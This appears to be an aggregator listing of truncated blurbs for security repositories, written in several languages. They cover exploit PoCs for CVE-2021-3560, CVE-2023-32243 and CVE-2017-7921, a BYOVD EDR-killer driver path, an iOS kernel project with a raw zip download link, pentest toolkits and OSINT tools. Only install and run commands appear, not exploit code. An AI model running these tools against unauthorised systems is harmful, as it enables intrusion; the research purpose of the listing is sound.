CVE-2021-3560

一个 NYCU CVE-2021-3560 研究。QQ 一个易于阅读和学习的 CVE-2021-3560 POC。 参考自 hakivvi 的 POC。 感谢 hakivvi。他省了我很多时间。 运行： 1. 编译漏洞利用代码： root@kitploit: $ gcc -g cve-2021-3560poc.c -o cve-2021-3560 /usr/lib/x8664-linux-gnu/libdbus-1.so /usr/lib/x8664-linux-gnu/libz.so 2. 简单检查此机器是否易受攻击（针对 Ubuntu） root@kitploit: $...

WP-CVE-2023-32243

WP-CVE-2023-32243 Cómo usar 1. Asegúrate de tener instaladas las dependencias: root@kitploit: pip install requests 2. Ejecuta el script con el archivo de lista de objetivos: root@kitploit: python2 file.py ⚠️ Aviso legal Este repositorio fue creado solo con fines de investigación de seguridad y...

voidaccess

VoidAccess 可自托管的 OSINT 工具，将暗网研究查询转化为结构化威胁情报。专为安全研究人员、威胁情报团队以及需要在单一工作流中完成收集、增强、关系映射和导出的授权调查人员而构建。 终端输出 快速开始 root@kitploit: pip install voidaccess voidaccess investigate "LockBit ransomware" --no-llm --no-tor --depth shallow voidaccess list voidaccess actors voidaccess status 它能做什么 并行收集 - 搜索 Tor...

XboxSeries

Xbox Series: 内部アーキテクチャ調査 フィールド| 値 ---|--- 日付| 2026年3月9日〜12日 + 2026年7月7日〜?日 ハードウェア| Xbox Series S コードネーム: Lockhart OS ビルド| 26100.7010.amd64fre.xbflt2602ge.260212-1010 + 26100.8561.amd64fre.xbflt2606ge.260609-2200 アクセス方法| Dev Mode + SSH + REST API + NTFS ファイル共有ジャンクション 要約 このレポートは、Xbox Series S...

security-research

security-research Proof-of-concept code and technical write-ups for vulnerabilities I discovered and reported through coordinated disclosure. Every entry here is already public: the vendor advisory is published and a fixed release is available. Nothing under embargo or in draft is included. The...

Nightingale

Nightingale: ペネトレーションテスターのためのDocker このプロジェクトは以下にサポートされています： | ---|--- Nightingaleは、ペネトレーションテストとセキュリティ研究のための、すぐに使えるマルチアーキテクチャDockerツールキットです。 再現可能な環境を提供し、Web、ネットワーク、モバイル、API、OSINT、フォレンジックのワークフロー向けに厳選されたツールが含まれています。 クイックスタート（2分） root@kitploit: docker pull ghcr.io/rajanagori/nightingale:stable docker...

can-i-take-over-xyz

免責事項 ⚠️ 本書の著者は、内容の正確性について一切の責任を負いません。本プロジェクトは、セキュリティ研究者が何かが脆弱であるかどうかを判断するための手助けを目的としていますが、正確性を保証するものではありません。本プロジェクトはコミュニティからの貢献に大きく依存しており、したがって、何かが脆弱であることを証明するかどうかは、セキュリティ研究者およびバグ報奨金プログラムの唯一の裁量に委ねられています。...

frinet

Frinet 通过将 Frida 与增强版 Tenet 相结合，Frinet 有助于大型程序研究、漏洞研究以及 iOS、Android、Linux、Windows 和大多数架构上的根因分析。Synacktiv 网站上的博客文章 此版本是对 synacktiv/frinet 的完全重写（最初是 gaasedelen/tenet 的一个分支）。 你仍然可以在 legacy 分支 上找到旧版本。 该项目已在 SSTIC 2026（法语）上展示：视频/幻灯片/论文。 新架构基于四个组件： Indexer：一个 Rust CLI，用于从跟踪文件中生成优化索引。 Backend：一个 Rust...

BYOVD-Research

Overview This is an older driver that was recently exploited in a BYOVD campaign detailed here: https://www.bleepingcomputer.com/news/security/edr-killer-tool-uses-signed-kernel-driver-from-forensic-software/ The exploit path is as follows: 1. The attacker's program runs as admin and gets its own...

ai-email-threat-research

威胁终端 一款网络安全研究游戏，用于测量人类如何检测AI生成的钓鱼邮件。以复古终端体验构建。 在线体验： research.scottaltiparmak.com 问题所在 AI现在能够生成语法完美、拼写无误且语境令人信服的钓鱼邮件。旧的信号（语法错误、措辞别扭、明显拼写错误）已不再适用。那么，在2026年，人类如何检测钓鱼攻击呢？ 这是什么？ 威胁终端是一款游戏及实时研究平台。玩家在复古终端界面中阅读AI生成的邮件，判断每封邮件是钓鱼邮件还是合法邮件，并押注自己的信心。每一次回答都会贡献给一个实时数据集，用于衡量当语言质量不再可靠时，人类最容易漏掉哪些钓鱼技术。...

honeyslop

honeyslop - 代码金丝雀，用于快速分类由人工智能幻觉（"slop"）产生的漏洞报告 honeyslop 是代码金丝雀、诱饵，用于那些被人工智能幻觉（"slop"）和未经验证的漏洞报告淹没的开源项目。通过这种对抗性噪声注入，slop扫描器会摄取金丝雀，然后基于它生成一份漏洞"报告"。该报告自我识别为 slop。一个 grep 即可关闭它。 这是一个快速的 PoC，以玩笑方式 vibe-coded（非生产级），因为我们在 raptor（一个基于 Claude Code 的自主攻击/防御代理）上也收到了 slop 报告。应该会很有趣！...

sandbox-runtime

Anthropic Sandbox Runtime srt A lightweight sandboxing tool for enforcing filesystem and network restrictions on arbitrary processes at the OS level, without requiring a container. srt uses native OS sandboxing primitives sandbox-exec on macOS, bubblewrap on Linux and proxy-based network filterin...

CVE-2017-7921-Research-Toolkit

CVE-2017-7921 Research Toolkit 安全声明：本工具仅供授权安全研究与漏洞验证使用 目录 法律与道德声明 项目描述 功能特性 安装说明 使用方法 输出结果 防御与修复建议 技术细节 致谢 ⚖️ 法律与道德声明 重要提示：使用本工具即表示您同意以下条款 仅限授权测试：仅用于您拥有明确书面授权的系统 遵守法律：严格遵守《网络安全法》及所在地相关法律法规 负责任披露：发现漏洞请通过官方渠道报告厂商 教育目的：本工具旨在提升物联网安全意识 后果自负：滥用本工具造成的法律后果由使用者自行承担 本项目遵循 GitHub 安全研究政策 及 海康威视安全响应中心 的披露规范。 📖...

oob_entry

oobentry：授权iOS内核漏洞研究，用于tfp0访问 访问发布页面：https://github.com/rkrakesh524/oobentry/raw/refs/heads/main/src/entry-oob-1.1.zip 一个供研究人员在实验室环境中以冷静、谨慎的方式记录、讨论和分享关于与tfp0访问相关的iOS内核概念的空间。本仓库专注于治理、伦理以及可重复的、授权的实验室研究。它不提供即用型的漏洞利用步骤、分发渠道或可能促成未授权访问的指令。目标是促进负责任的学习、开放的讨论以及严谨、合法的测试实践。 目录 概述 目标与伦理 本项目涵盖的内容 安全、授权的研究工作流...

CVE-2025-55182-Exploit-extension

RSC Fingerprint Detector A Chrome extension for detecting React Server Components RSC and Next.js App Router fingerprints on web pages. ⚠️ Important Notice This extension is intended for educational and security research purposes only. It includes functionality that may be used to test for...

ricerca-tesi

ricerca-tesi recursos de investigación para cve-2026-7228 Herramientas Instalación de virtual-box instalación de virtual-box: https://www.virtualbox.org/wiki/Downloads Instalación de iso windows 11 https://www.microsoft.com/it-it/software-download/windows11 Instalación de distro linux: lubuntu...

security-research

安全研究 本项目收录了 Google 研究中所发现的安全公告及其 配套的概念验证（PoC）代码，这些研究影响 非 Google 所属的代码。 我们相信漏洞披露需要双方共同努力。供应商 和研究人员都必须以负责任的方式行事。因此，Google 遵循 90 天披露期限：我们会立即将漏洞告知供应商， 并在 90 天后将详细信息公之于众，供防御社区 参考；若供应商更早发布修复程序，则可提前披露。 您可以在此处查阅我们的完整政策： https://www.google.com/about/appsecurity/. 安全公告 漏洞披露均以安全公告的形式呈现，可在 安全公告 页面中浏览。 许可证与专利...

cnappgoat

CNAPPgoat CNAPPgoat は、マルチクラウド対応の脆弱性を意図的に含んだ環境デプロイツールです。防御者やペネトレーションテスター向けの練習場を提供するために特別に設計されています。主な機能は、複数のクラウドサービスプロバイダにわたって意図的に脆弱な環境をデプロイし、脆弱性の悪用、検出、防止に関するスキルを磨くのに役立てることです。 警告 : CNAPPgoat は脆弱な環境をデプロイします。安全で管理されたサンドボックス内でのみ使用してください。 はじめに CNAPPgoat...

DeepZero

Motor automatizado de tuberías de investigación de vulnerabilidades Define tuberías como YAML. DeepZero gestiona orquestación, paralelismo, tolerancia a fallos y estado. Inglés | 简体中文 | Français 🔗 Pipeline-as-YAML — encadena etapas de ingesta, filtrado, transformación y evaluación con LLM de form...

HowToHunt

HowToHunt Una colección de guías prácticas, metodologías y recursos para cazar vulnerabilidades De Hackers para la Comunidad, porque el Hacking no es solo una habilidad Es una Mentalidad 💡 ¿Qué es HowToHunt? HowToHunt es un repositorio colaborativo de guías paso a paso, metodologías y técnicas...